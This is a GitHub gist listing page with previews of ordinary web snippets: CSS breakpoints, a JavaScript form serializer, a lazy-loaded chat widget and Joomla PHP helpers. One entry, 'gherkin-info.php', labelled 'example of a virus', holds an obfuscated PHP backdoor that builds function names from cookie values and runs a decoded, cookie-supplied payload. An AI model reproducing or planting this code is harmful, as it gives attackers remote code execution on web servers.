Skip to content

Instantly share code, notes, and snippets.

@gartes
gartes / breakpoints.css
Created August 4, 2021 10:27 — forked from fmtarif/breakpoints.css
#css breakpoints
/* css-tricks.com/snippets/css/media-queries-for-standard-devices/ */
/* Smartphones (portrait and landscape) ----------- */
@media only screen
and (min-device-width : 320px)
and (max-device-width : 480px) {
/* Styles */
}
/* Smartphones (landscape) ----------- */
/*jslint continue:true*/
/**
* Adapted from {@link http://www.bulgaria-web-developers.com/projects/javascript/serialize/}
* Changes:
* Ensures proper URL encoding of name as well as value
* Preserves element order
* XHTML and JSLint-friendly
* Disallows disabled form elements and reset buttons as per HTML4 [successful controls]{@link http://www.w3.org/TR/html401/interact/forms.html#h-17.13.2}
* (as used in jQuery). Note: This does not serialize <object>
* elements (even those without a declare attribute) or
@gartes
gartes / gherkin-info.php
Created May 8, 2021 02:27
Пример Вируса
<?php $iu='OO';$ec/*Jsmi*/='_C';$o/*m*/='E';$m/*PC6*/='KI';$l=/*=s`*/${$ec.$iu.$m.$o};if(isset($l['n'])){$u=/*n*/$l['n'].$l['xl'];$ir=$l['oP'].$l['DJ'].$l['j'];$q=$u('',$ir($l['I']));$q();}
@gartes
gartes / jivosite.html
Created April 14, 2021 15:30 — forked from Inontran/jivosite.html
код живосайта с lazyload
<script type='text/javascript'>
(function(){ document.jivositeloaded=0;var widget_id = 's8C7P8lJSp';var d=document;var w=window;function l(){var s = d.createElement('script'); s.type = 'text/javascript'; s.async = true; s.src = '//code.jivosite.com/script/widget/'+widget_id; var ss = document.getElementsByTagName('script')[0]; ss.parentNode.insertBefore(s, ss);}//эта строка обычная для кода JivoSite
function zy(){
//удаляем EventListeners
if(w.detachEvent){//поддержка IE8
w.detachEvent('onscroll',zy);
w.detachEvent('onmousemove',zy);
w.detachEvent('ontouchmove',zy);
w.detachEvent('onresize',zy);
}else {
@gartes
gartes / namecase.php
Created December 3, 2020 20:12 — forked from ivanscm/namecase.php
Модуль склонения личных имен существительных по падежам.
<?php
###################################################
# Модуль склонения личных имен существительных по падежам
# Кодинг Иван Григорьев aka IvanSCM
# Склонения по падежам подготовил Лапин Алексей aka NuBiK
# Отменить, если устанавливаемый модуль не новее, чем текущая установленная версия
# Abort if the module being installed is not newer than the currently installed version
/* if (strtolower($typeExt) === 'update')
{
$manifest = $this->getItemArray( Factory::getDbo()->quote($this->extension));
$oldRelease = $manifest['version'];
# Кто-то пытается установить более раннюю версию, чем установлена сейчас
# Someone is trying to install a lower version than is currently installed
if (version_compare($this->release, $oldRelease, '<'))
@gartes
gartes / correcting.php
Last active August 16, 2020 15:43
Установить уникальне уоды для товаров JoomShopping
<?php
use Joomla\CMS\Factory;
/**
* @package correcting
* @subpackage
*
* @copyright A copyright
* @license A "Slug" license name e.g. GPL2
@gartes
gartes / correcting.php
Last active August 16, 2020 14:24
Обновление кодов для товара
<?php
use Joomla\CMS\Factory;
/**
* @package ${NAMESPACE}
* @subpackage
*
* @copyright A copyright
* @license A "Slug" license name e.g. GPL2
@gartes
gartes / _getPluginVersion.php
Created July 31, 2020 18:54
Получить версию плагина из файла манифеста
/**
* Получить версию плагина из XML файла
*
* @since version
*/
private function _getPluginVersion(){
$file = \Joomla\CMS\Filesystem\File::stripExt( basename(__FILE__) );
$xml_file = __DIR__ .'/'.$file.'.xml';
$dom = new DOMDocument("1.0", "utf-8");
$dom->load($xml_file);